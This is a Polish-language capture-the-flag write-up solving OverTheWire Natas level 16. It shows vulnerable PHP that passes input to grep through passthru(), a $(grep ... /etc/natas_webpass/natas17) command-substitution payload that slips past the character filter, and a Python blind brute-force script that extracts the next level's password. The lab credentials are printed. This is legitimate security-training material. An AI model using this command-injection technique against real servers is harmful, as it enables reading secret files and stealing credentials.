Wpis jest kontynuacją rozwiązań hackme Natas na OverTheWire. Rozwiązania etapu 15 można znaleźć tutaj. Etap 16 powiązany jest bezpośrednio z etapem numer 9, którego rozwiązanie możemy przypomnieć sobie w tym poście.

Analiza

Po zalogowaniu na poziom 16 spoglądamy na kod źródłowy:

 <?
$key = "";

if (array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if ($key != "") {
    if (preg_match('/[;|&`\'"]/', $key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?> 

Nawiązując do rozwiązania poziomu numer 9, zauważamy że różnica leży w sprawdzeniu danych użytkownika. W kodzie występuje weryfikacja danych użytkownika pod kątem wyrażenia regularnego. W konsekwencji nie możemy użyć znaków [] ; | & \ ` ' " . Stanowi to problem, ponieważ nie możemy bezpośrednio wydostać się z polecenia grep. Rozwiązując zadania z gry Bandit mogliśmy poznać składnię $(polecenie). Konstrukcja ta nie jest zabroniona przez wyrażenie regularne w zadaniu, więc postaramy się zastosować ją w rozwiązaniu.

Składnia $(polecenie) nazywana jest podstawieniem komendy. Treść zawarta w nawiasach zostanie wywołana przez powłokę a wynik polecenia wstawiony w miejsce wyrażenia. Więcej na ten temat można przeczytać na wiki.bash-hackers.org. Rozważmy teraz nasze możliwości wykorzystania tego zagadnienia.

Dość oczywistym wnioskiem jest, że podstawiona komenda będzie jakąś formą przeszukania pliku z hasłem do następnego etapu, czyli /etc/natas_webpass/natas17. Z mechaniki skryptu wynika, że pokaże on tylko słowa widniejące w słowniku. Do dalszych rozważań pomogą nam następujące spostrzeżenia:

  • Przeglądając słownik znajdziemy słowa dość długie, by wynik wyszukiwania dawał jednoznaczny rezultat. Przykładem takiego słowa może być injected.
  • Na poprzednim etapie rozpoczęliśmy ataki bruteforce typu blind. Można spodziewać się podobieństwa, które niejednokrotnie zachodziło między poziomami.

Rozwiązanie

Wybór słowa, dla którego wynik wyszukiwania jest jednoznaczny nie był oczywiście przypadkowy. Proponuję następujący kod dla wyszukiwarki:

$(grep loremipsum /etc/natas_webpass/natas17)injected

Po wykonaniu podstawienia komendy otrzymamy injected a zatem wynik wykonania skryptu da w sekcji Output znajdzie się to słowo. Dzieje się tak, ponieważ nieprawdopodobne jest, że hasło (dotychczas mocno losowe) zawierać będzie ciąg loremipsum. Zastąpmy go jednak literą, powiedzmy literą b. Okaże się, że sekcja Output jest pusta. Wnioskujemy zatem, że polecenie grep b /etc/natas_webpass/natas17 znalazło literę b w haśle.

Jesteśmy już o krok od rozwiązania. Instrukcja polecenia grep informuje nas, że możemy przeszukiwać pliki w poszukiwaniu ciągów rozpoczynających się zadanym ciągiem znaków. Poszukiwane wyrażenie należy poprzedzić znakiem ^. Należy zatem zautomatyzować atak podobnie, jak zrobiliśmy to w poprzednim rozwiązaniu. Poniżej propozycja kodu napisanego w języku python:

#!/usr/bin/python
import requests
import sys

chars = "0123456789abcdefghijklmnoqprstuvwxyzABCDEFGHIJKLMNOQPRSTUVWXYZ"
urlbase = 'http://natas16.natas.labs.overthewire.org/index.php?needle='
passwd = ""
s = requests.Session()
s.auth = ("natas16", "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh")

if s.get(urlbase).status_code != 200:
        print "Server unreachable, exiting"
        sys.exit()
else:
        print "Server reached, starting blind injection"

for i in range(32):
        for ch in chars:
                url = urlbase+"$(grep ^"+passwd+ch+" /etc/natas_webpass/natas17)injected"
                r = s.get(url)
                if r.text.find("injected") == -1:
                        passwd += str(ch)
                        print "passwd = "+passwd
                        continue

print "The password is: "+passwd

Łatwo zauważyć ogromne podobieństwo do rozwiązania poprzedniego poziomu. Najistotniejsze zmiany to linie urlbase = 'http://natas16.natas.labs.overthewire.org/index.php?needle=' oraz url = urlbase+"$(grep ^"+passwd+ch+" /etc/natas_webpass/natas17)injected". Stanowią one implementację ataku na wywnioskowaną podatność. Podobnie jak poprzednio, wykonywane są zapytania z kolejnymi próbami odgadnięcia hasła. Każdorazowy brak wystąpienia słowa injected na stronie powoduje dopisanie zgadywanego aktualnie hasła do passwd i dalsze zgadywanie.

Wynik wykonania skryptu jest następujący:

Server reached, starting blind injection
passwd = 8
passwd = 8P
passwd = 8Ps
passwd = 8Ps3
passwd = 8Ps3H
passwd = 8Ps3H0
passwd = 8Ps3H0G
...
passwd = 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw